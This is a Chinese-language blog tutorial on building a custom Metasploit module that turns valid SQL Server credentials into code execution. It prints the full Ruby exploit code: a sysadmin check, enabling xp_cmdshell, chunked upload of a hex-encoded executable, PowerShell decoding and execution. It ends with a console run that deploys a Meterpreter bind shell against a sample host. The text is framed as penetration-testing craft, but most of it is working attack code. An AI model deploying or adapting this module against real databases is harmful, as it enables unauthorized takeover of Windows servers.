打造定制化的Metasploit—MSSQL重构

君子藏器于身待时而动,安全不露圭角覆盂之安。

——AnonySec

https://payloads.cn

前言

在进行内网渗透时,有时会遇到SQL Server数据库,当获取到正确口令信息时,经常会用到SQLTOOLS一类的渗透工具,但依赖xp_cmdshell需要开启,才能执行系统命令。这里就联想到实战中的需求,也正是本文要讲述的方法:利用Metasploit,通过正确的SQL Server口令信息,可启用xp_cmdshell,并获取目标系统session

参数

msftidy

使用Metasploit中名为msftidy的内置工具,检查开发的模块语法是否正确。

3e2468c1ffd0c0f037606cf8ff5191d9

loadpath

Metasploit每次更新,所有模块都会被删除,创建外部目录不被删除(虚拟分支): 外部目录要与msf目录结构相同,之后在msf中使用loadpath 绝对路径/Metasploit/载入。

当前msf适用,退出后需要重新加载loadpath

e52e231eda12e9e99bf878d2c492d5c5

reload

在不关闭metasploit的情况下使用reload命令重新载入编辑过的模块。

内置模块测试

Metasploit中内置了mssql_payload模块,但攻击效果不是很好,session弹不回来。

8e044c35f1d9e425e60186fdb6a2ef3a

编写mssql_powershell模块

mssql_powershell是在mssql_payload基础上进行修改的。

接下来进行分解讲述:

代码头部

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'msf/core' # 引用 core 核心库
7
8
class MetasploitModule < Msf::Exploit::Remote # 定义这是一个远程攻击模块
9
  Rank = ExcellentRanking
10
11
  include Msf::Exploit::Remote::MSSQL # 包含 lib/msf/core/exploit/mssql.rb 库
12
13
  def initialize(info = {})
14
    super(update_info(info,
15
      'Name'           => 'Microsoft SQL Server Powershell payload ',
16
      # %q 单引号字符串
17
      'Description'    => %q{
18
          This module will deliver our payload through Microsoft PowerShell using MSSQL based attack vectors.
19
      },
20
      'Author'         =>
21
        [
22
          'AnonySec@DropLab',
23
        ],
24
      'License'        => MSF_LICENSE,
25
      'Platform'       => 'win', # 仅支持windows平台
26
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
27
      'Targets'        =>
28
        [
29
          [ 'Automatic', { } ],
30
        ],
31
      'DefaultTarget'  => 0,
32
      ))

基本选项

1
register_options(
2
  [
3
    OptBool.new('UsePowerShell', [ true, "Use Powershell as payload delivery method instead",true ])
4
  ])

a696a076232e338b466572c24690e234

检查目标是否存在漏洞可被利用

1
def check
2
    if !mssql_login_datastore
3
      vprint_status("Invalid SQL Server credentials")
4
      return Exploit::CheckCode::Detected
5
    end
6
    
7
    # 查询mssql版本
8
    mssql_query("select @@version", true)
9
    if mssql_is_sysadmin
10
      vprint_good "User #{datastore['USERNAME']} is a sysadmin"
11
      Exploit::CheckCode::Vulnerable
12
    else
13
      Exploit::CheckCode::Safe
14
    end
15
  ensure
16
    disconnect
17
  end

da2b42724a7fdfad40b4535d32823f38

启用xpcmdshell

先以SQLTOOLS工具尝试

451cac49d4e483891d3029e95b201c90

回到代码中,引用mssql.rb中的mssql_xpcmdshell方法

1
def run
2
  mssql_xpcmdshell(datastore['CMD'], true) if mssql_login_datastore
3
end

889abbe0bd15ae1d66622fbcd733b9df

01b281c2c7e9984455468020b4e74d14

定义主体代码

定义upload_powershell_exec主要函数,exe是从下面Msf::Util::EXE.to_win32pe(framework,payload.encoded)发过来的二进制文件

1
def upload_powershell_exec(exe, debug=false)

调试状态下debug=true的输出

a9d849f2fe85bcbc8fc141ec9e331b12

十六进制转换,创建随机文件名,输出状态

1
# 十六进制转换,“H:打开二进制格式的文件,以十六进制转换“
2
hex = exe.unpack("H*")[0]
3
# 创建随机8位字母的文件名
4
var_payload = rand_text_alpha(8)
5
# payload保留在目标系统 C:\Windows\\Temp\ 目录下
6
print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server C:\\Windows\\Temp\\ directory")

通过powershell创建一个从十六进制至二进制的转换:$s变量中的`r`n替换空字符,去除回车换行符,由于MSSQL存在一个字符长度限制,需要将十六进制的payload分成500字节分块,payload被分到多个请求中,传到目标系统中就会被添加回车换行符。如不去除,生成的二进制文件将损坏,就不能执行;通过[Convert]::ToByte 让powershell将十六进制的文件写入到 #{var_payload}.exe 二进制程序中

1
h2b = "$s = gc 'C:\\Windows\\Temp\\#{var_payload}';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\Windows\\Temp\\#{var_payload}.exe',$b)"

转换编码,输出状态

1
# 将h2b字符串转换为Unicode编码
2
h2b_unicode=Rex::Text.to_unicode(h2b)
3
# 将Unicode字符串进行base64编码
4
h2b_encoded = Rex::Text.encode_base64(h2b_unicode)
5
# 输出状态,正在上传payload
6
print_status("Uploading the payload #{var_payload}, please be patient...")

计数器idx每次增长cnt(500)个字节。简单说:读取500字节,发送,再读取,再发送,直到读到文件末尾。

1
# 基础计数器idx最初位置为0,标识文件末尾
2
idx = 0
3
# 每次发送十六进制文件到操作系统时递增500字节。
4
cnt = 500
5
while(idx < hex.length - 1)
6
  mssql_xpcmdshell("cmd.exe /c echo #{hex[idx, cnt]}>>C:\\Windows\\Temp\\#{var_payload}", false)
7
  idx += cnt
8
end

利用PowerShell EncodedCommand命令转换payload,之后执行,输出相关状态

1
print_status("Converting the payload utilizing PowerShell EncodedCommand...")
2
mssql_xpcmdshell("powershell -EncodedCommand #{h2b_encoded}", debug)
3
mssql_xpcmdshell("cmd.exe /c del C:\\Windows\\Temp\\#{var_payload}", debug)
4
print_status("Executing the payload...")
5
mssql_xpcmdshell("C:\\Windows\\Temp\\#{var_payload}.exe", false, {:timeout => 1})
6
print_status("Be sure to cleanup #{var_payload}.exe...")

攻击模块的主体代码使用

1
def exploit
2
  # 检查是否已经正常登陆
3
  if !mssql_login_datastore
4
    # 口令错误无法登陆输出该状态 “[*] xx.xx.xx.xx:1433 - Invalid SQL Server credentials”
5
    print_status("Invalid SQL Server credentials")
6
    return
7
  end
8
  # UsePowerShell 方法调用 upload_powershell_exec 函数
9
  if (datastore['UsePowerShell'])
10
    # Msf::Util::EXE.to_win32pe(framework,payload,encoded) 自动产生一个可用的二进制payload 
11
    # https://rapid7.github.io/metasploit-framework/api/Msf/Util/EXE.html#to_win32pe-class_method
12
    upload_powershell_exec(Msf::Util::EXE.to_win32pe(framework,payload.encoded))
13
  end

处理与目标系统间的连接

1
handler
2
disconnect

完整载入运行

1
msf5 > loadpath /Users/anonysec/Desktop/Metasploit/
2
msf5 > use exploit/windows/mssql/mssql_powershell
3
msf5 exploit(windows/mssql/mssql_powershell) > set payload windows/meterpreter/bind_tcp
4
msf5 exploit(windows/mssql/mssql_powershell) > set rhost 192.168.144.212
5
msf5 exploit(windows/mssql/mssql_powershell) > set password Admin123
6
msf5 exploit(windows/mssql/mssql_powershell) > set lport 5353
7
msf5 exploit(windows/mssql/mssql_powershell) > run

注:调试状态下debug=true

06fd16de9c58b283ee33b7dc0d072e2c

小结

只要对Metasploit框架有兴趣,并已经查看了现有代码是如何工作的,就可以充分利用现有代码,拿过来改改,并增加一些原创代码这样的流程。在大多数情况下,没必要完全从零开始来编写自己的模块代码。这就是代码重用的能量。

References


xq